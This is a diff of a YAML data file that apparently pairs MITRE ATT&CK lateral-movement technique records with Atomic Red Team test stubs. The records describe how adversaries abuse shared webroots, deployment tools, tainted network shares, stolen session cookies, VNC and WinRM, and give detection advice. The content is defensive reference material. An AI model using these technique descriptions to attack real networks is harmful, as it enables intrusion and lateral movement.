         source_name: Microsoft Web Root OCT 2016
-      - url: http://httpd.apache.org/docs/2.4/getting-started.html#content
+      - source_name: Apache Server 2018
         description: Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation
           - Web Site Content. Retrieved July 27, 2018.
-        source_name: Apache Server 2018
-      - url: https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/
+        url: http://httpd.apache.org/docs/2.4/getting-started.html#content
+      - source_name: Webroot PHP 2011
         description: Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on
           the Rise. Retrieved October 3, 2018.
-        source_name: Webroot PHP 2011
+        url: https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/
+      x_mitre_version: '1.0'
+      modified: '2020-03-30T13:56:55.356Z'
+      x_mitre_system_requirements:
+      - Shared webroot directory on remote system
+      x_mitre_deprecated: true
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db
       description: |-
         **This technique has been deprecated and should no longer be used.**
 
         Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.
 
         This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)
-      name: Shared Webroot
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      modified: '2020-03-30T13:56:55.356Z'
-      created: '2017-05-31T21:30:46.047Z'
-      x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
       x_mitre_detection: Use file and process monitoring to detect when files are
         written to a Web server by a process that is not the normal Web server process
         or when files are written outside of normal administrative time periods. Use
         process monitoring to identify normal processes that run on the Web server
         and detect processes that are not typically executed.
-      x_mitre_system_requirements:
-      - Shared webroot directory on remote system
-      x_mitre_platforms:
-      - Windows
+      created: '2017-05-31T21:30:46.047Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1072:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1072
-        url: https://attack.mitre.org/techniques/T1072
-      - external_id: CAPEC-187
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/187.html
+      type: attack-pattern
+      name: Software Deployment Tools
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.1'
+      modified: '2020-12-11T17:00:00.938Z'
+      created: '2017-05-31T21:30:57.201Z'
+      x_mitre_contributors:
+      - Shane Tully, @securitygypsy
+      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).
 
         Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
 
         The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.
-      name: Software Deployment Tools
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      modified: '2020-12-11T17:00:00.938Z'
-      created: '2017-05-31T21:30:57.201Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.1'
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Process: Process Creation'
+      x_mitre_remote_support: true
       x_mitre_detection: "Detection methods will vary depending on the type of third-party
         software or system and how it is typically used. \n\nThe same investigation
         process can be applied here as with other potentially malicious activities
@@ -70066,17 +72257,14 @@ lateral-movement:
         application deployment at regular times so that irregular deployment activity
         stands out. Monitor process activity that does not correlate to known good
         software. Monitor account login activity on the deployment system."
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_remote_support: true
-      x_mitre_contributors:
-      - Shane Tully, @securitygypsy
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1072
+        external_id: T1072
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/187.html
+        external_id: CAPEC-187
+        source_name: capec
       identifier: T1072
     atomic_tests:
     - name: Radmin Viewer Utility
@@ -70114,9 +72302,43 @@ lateral-movement:
         command: '"#{radmin_exe}"'
   T1080:
     technique:
-      id: attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Taint Shared Content
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1080
+        external_id: T1080
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/562.html
+        external_id: CAPEC-562
+        source_name: capec
+      - source_name: Retwin Directory Share Pivot
+        description: Routin, D. (2017, November 13). Abusing network shares for efficient
+          lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.
+        url: https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Network Share: Network Share Access'
+      x_mitre_version: '1.3'
+      modified: '2021-10-17T14:12:33.188Z'
+      x_mitre_system_requirements:
+      - Access to shared folders and content with write permissions
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      id: attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      - SaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |2-
 
         Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
@@ -70124,67 +72346,41 @@ lateral-movement:
         A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)
 
         Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1080
-        url: https://attack.mitre.org/techniques/T1080
-      - external_id: CAPEC-562
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/562.html
-      - url: https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html
-        description: Routin, D. (2017, November 13). Abusing network shares for efficient
-          lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.
-        source_name: Retwin Directory Share Pivot
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2020-03-31T22:14:56.107Z'
-      created: '2017-05-31T21:31:01.759Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_system_requirements:
-      - Access to shared folders and content with write permissions
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Michal Dida, ESET
+      - David Routin
       x_mitre_detection: |-
         Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.
 
         Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.
-      x_mitre_contributors:
-      - Michal Dida, ESET
-      - David Routin
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Network Share: Network Share Access'
-      x_mitre_version: '1.2'
+      created: '2017-05-31T21:31:01.759Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1550:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550
-        url: https://attack.mitre.org/techniques/T1550
-      - source_name: NIST Authentication
-        url: https://csrc.nist.gov/glossary/term/authentication
-        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
-      - source_name: NIST MFA
-        url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
-        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
-          30, 2020.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Use Alternate Authentication Material
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Web Credential: Web Credential Usage'
+      - 'Application Log: Application Log Content'
+      - 'User Account: User Account Authentication'
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.2'
+      modified: '2021-10-17T14:15:31.630Z'
+      created: '2020-01-30T16:18:36.873Z'
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      - SaaS
+      - Google Workspace
+      - IaaS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
       description: "Adversaries may use alternate authentication material, such as
         password hashes, Kerberos tickets, and application access tokens, in order
         to move laterally within an environment and bypass normal system access controls.
@@ -70203,19 +72399,11 @@ lateral-movement:
         authentication material, adversaries are able to bypass system access controls
         and authenticate to systems without knowing the plaintext password or any
         additional authentication factors.\n"
-      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      modified: '2021-04-14T18:09:47.427Z'
-      created: '2020-01-30T16:18:36.873Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_defense_bypassed:
-      - System Access Controls
       x_mitre_detection: 'Configure robust, consistent account activity audit policies
         across the enterprise and with externally accessible services.(Citation: TechNet
         Audit Policy) Look for suspicious account behavior across systems that share
@@ -70227,162 +72415,227 @@ lateral-movement:
         account. Correlate other security systems with login information (e.g., a
         user has an active login session but has not entered the building or does
         not have VPN access).'
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Web Credential: Web Credential Usage'
-      - 'Application Log: Application Log Content'
-      - 'User Account: User Account Authentication'
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_platforms:
-      - Windows
-      - Office 365
-      - SaaS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550
+        external_id: T1550
+        source_name: mitre-attack
+      - url: https://csrc.nist.gov/glossary/term/authentication
+        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
+        source_name: NIST Authentication
+      - url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
+        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
+          30, 2020.
+        source_name: NIST MFA
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1021.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1021.005
-        url: https://attack.mitre.org/techniques/T1021/005
-      - external_id: CAPEC-555
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/555.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: VNC
-      description: |-
-        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user.
-
-        VNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.
-      id: attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2020-03-23T20:41:21.147Z'
-      created: '2020-02-11T18:28:44.950Z'
-      x_mitre_system_requirements:
-      - VNC server installed and listening for connections.
+      name: VNC
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Network Traffic: Network Connection Creation'
       - 'Logon Session: Logon Session Creation'
-      x_mitre_detection: Use of VNC may be legitimate depending on the environment
-        and how it’s used. Other factors, such as access patterns and activity that
-        occurs after a remote login, may indicate suspicious or malicious behavior
-        with VNC.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      x_mitre_version: '1.1'
+      modified: '2021-10-07T22:14:25.528Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      created: '2020-02-11T18:28:44.950Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b
+      description: |-
+        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)
+
+        VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)
+
+        Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_detection: |-
+        Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.
+
+        On macOS systems <code>log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
+
+        Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)
+      x_mitre_system_requirements:
+      - VNC server installed and listening for connections.
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1021/005
+        external_id: T1021.005
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/555.html
+        external_id: CAPEC-555
+        source_name: capec
+      - url: https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2
+        description: T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote
+          Framebuffer Protocol. Retrieved September 20, 2021.
+        source_name: The Remote Framebuffer Protocol
+      - url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
+        description: Apple Support. (n.d.). Set up a computer running VNC software
+          for Remote Desktop. Retrieved August 18, 2021.
+        source_name: MacOS VNC software for Remote Desktop
+      - url: https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication
+        description: Tegan. (2019, August 15). Setting up System Authentication. Retrieved
+          September 20, 2021.
+        source_name: VNC Authentication
+      - url: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc
+        description: 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute,
+          Access and Crack). Retrieved September 20, 2021.'
+        source_name: Hijacking VNC
+      - url: https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication
+        description: Nick Miles. (2017, November 30). Detecting macOS High Sierra
+          root account without authentication. Retrieved September 20, 2021.
+        source_name: macOS root VNC login without authentication
+      - url: https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/
+        description: Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities
+          Found in Linux, Windows Solutions. Retrieved September 20, 2021.
+        source_name: VNC Vulnerabilities
+      - url: https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/
+        description: Offensive Security. (n.d.). VNC Authentication. Retrieved October
+          6, 2021.
+        source_name: Offensive Security VNC Authentication Check
+      - url: https://pentestlab.blog/2012/10/30/attacking-vnc-servers/
+        description: Administrator, Penetration Testing Lab. (2012, October 30). Attacking
+          VNC Servers. Retrieved October 6, 2021.
+        source_name: Attacking VNC Servers PentestLab
+      - url: http://lists.openstack.org/pipermail/openstack/2013-December/004138.html
+        description: Jay Pipes. (2013, December 23). Security Breach! Tenant A is
+          seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.
+        source_name: Havana authentication bug
+      - url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
+        description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs:
+          Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved
+          August 19, 2021.'
+        source_name: Apple Unified Log Analysis Remote Login and Screen Sharing
+      - url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207
+        description: Pascal Nowack. (n.d.). Retrieved September 21, 2021.
+        source_name: Gnome Remote Desktop grd-settings
+      - url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in
+        description: Pascal Nowack. (n.d.). Retrieved September 21, 2021.
+        source_name: Gnome Remote Desktop gschema
     atomic_tests: []
   T1550.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.004
-        url: https://attack.mitre.org/techniques/T1550/004
-      - external_id: CAPEC-60
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/60.html
-      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
-          the Cookie. Retrieved April 5, 2019.
-        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
-        source_name: Pass The Cookie
-      - source_name: Unit 42 Mac Crypto Cookies January 2019
-        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
-        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
-          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Web Session Cookie
+      x_mitre_data_sources:
+      - 'Web Credential: Web Credential Usage'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.3'
+      modified: '2021-10-12T14:22:09.650Z'
+      created: '2020-01-30T17:48:49.395Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Office 365
+      - SaaS
+      - Google Workspace
+      - IaaS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
       description: |-
         Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)
 
         Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.
 
         There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
-      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-04-14T13:21:37.474Z'
-      created: '2020-01-30T17:48:49.395Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_defense_bypassed:
-      - System Access Controls
+      x_mitre_contributors:
+      - Jen Burns, HubSpot
+      - Johann Rehberger
       x_mitre_detection: Monitor for anomalous access of websites and cloud-based
         applications by the same user in different locations or by different systems
         that do not match expected configurations.
-      x_mitre_data_sources:
-      - 'Web Credential: Web Credential Usage'
-      - 'Application Log: Application Log Content'
-      x_mitre_contributors:
-      - Johann Rehberger
-      x_mitre_platforms:
-      - Office 365
-      - SaaS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/004
+        external_id: T1550.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/60.html
+        external_id: CAPEC-60
+        source_name: capec
+      - source_name: Pass The Cookie
+        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
+          the Cookie. Retrieved April 5, 2019.
+        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
+      - url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
+        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
+          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
+        source_name: Unit 42 Mac Crypto Cookies January 2019
     atomic_tests: []
   T1021.006:
     technique:
-      created: '2020-02-11T18:29:47.757Z'
-      modified: '2020-03-25T12:25:03.014Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      type: attack-pattern
-      id: attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65
-      description: |-
-        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
-
-        WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)
-      name: Windows Remote Management
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1021.006
-        url: https://attack.mitre.org/techniques/T1021/006
-      - url: http://msdn.microsoft.com/en-us/library/aa384426
-        description: Microsoft. (n.d.). Windows Remote Management. Retrieved November
-          12, 2014.
-        source_name: Microsoft WinRM
-      - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2
-        description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;.
-          Retrieved November 12, 2014.
-        source_name: Jacobsen 2014
-      - source_name: Medium Detecting Lateral Movement
-        url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
-        description: French, D. (2018, September 30). Detecting Lateral Movement Using
-          Sysmon and Splunk. Retrieved October 11, 2019.
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service
-        execution. If it is not normally used or is disabled, then this may be an
-        indicator of suspicious behavior. Monitor processes created and actions taken
-        by the WinRM process or a WinRM invoked script to correlate it with other
-        related events.(Citation: Medium Detecting Lateral Movement)'
-      x_mitre_permissions_required:
-      - User
-      - Administrator
+      type: attack-pattern
+      name: Windows Remote Management
       x_mitre_data_sources:
+      - 'Service: Service Metadata'
       - 'Process: Process Creation'
       - 'Network Traffic: Network Connection Creation'
       - 'Logon Session: Logon Session Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-06-23T19:22:52.870Z'
+      created: '2020-02-11T18:29:47.757Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65
+      description: |-
+        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
+
+        WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service
+        execution. If it is not normally used or is disabled, then this may be an
+        indicator of suspicious behavior.  Monitor processes created and actions taken
+        by the WinRM process or a WinRM invoked script to correlate it with other
+        related events.(Citation: Medium Detecting Lateral Movement) Also monitor
+        for remote WMI connection attempts (typically over port 5985 when using HTTP
+        and 5986 for HTTPS).'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1021/006
+        external_id: T1021.006
+        source_name: mitre-attack
+      - source_name: Microsoft WinRM
+        description: Microsoft. (n.d.). Windows Remote Management. Retrieved November
+          12, 2014.
+        url: http://msdn.microsoft.com/en-us/library/aa384426
+      - source_name: Jacobsen 2014
+        description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;.
+          Retrieved November 12, 2014.
+        url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2
+      - source_name: MSDN WMI
+        description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
+          April 27, 2016.
+        url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
+      - url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
+        description: French, D. (2018, September 30). Detecting Lateral Movement Using
+          Sysmon and Splunk. Retrieved October 11, 2019.
+        source_name: Medium Detecting Lateral Movement
       identifier: T1021.006
     atomic_tests:
     - name: Enable Windows Remote Management
@@ -70459,15 +72712,25 @@ lateral-movement:
 command-and-control:
   T1071:
     technique:
-      created: '2017-05-31T21:30:56.776Z'
-      modified: '2020-10-21T16:35:45.986Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
